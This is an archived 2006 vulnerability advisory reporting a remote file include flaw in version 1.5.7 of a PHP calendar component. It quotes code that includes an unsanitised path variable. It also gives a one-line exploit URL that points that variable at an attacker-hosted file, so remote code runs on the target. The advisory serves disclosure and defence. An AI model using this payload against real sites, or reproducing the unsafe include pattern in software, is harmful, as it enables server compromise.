Calendar Module <= 1.5.7 Remote File Include Vulnerabilities

2006-07-24T00:00:00
ID SECURITYVULNS:DOC:13556
Type securityvulns
Reporter Securityvulns
Modified 2006-07-24T00:00:00

Description


Calendar Module <= 1.5.7 Remote File Include Vulnerabilities

Author : Matdhule

Contact : matdhule@gmail.com

Application : Calendar Module (com_calendar.php)

Version : 1.5.7


Vulnerability: In folder components we found vulnerability script com_calendar.php.

-----------------------com_calendar.php--------------------------------- <?php

//Configuration include($absolute_path.'/components/calendar/cal_config.php'); if (!file_exists("language/calendar/".$lang."_calendar.php") ) { die("Invalid Language"); } else { include($absolute_path.'/language/calendar/'.$lang.'_calendar.php'); }


Variables $absolute_path are not properly sanitized. When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.


Exploit :

http://[target]/[path]/components/com_calendar.php?absolute_path=http://attacker.com/evil.txt?


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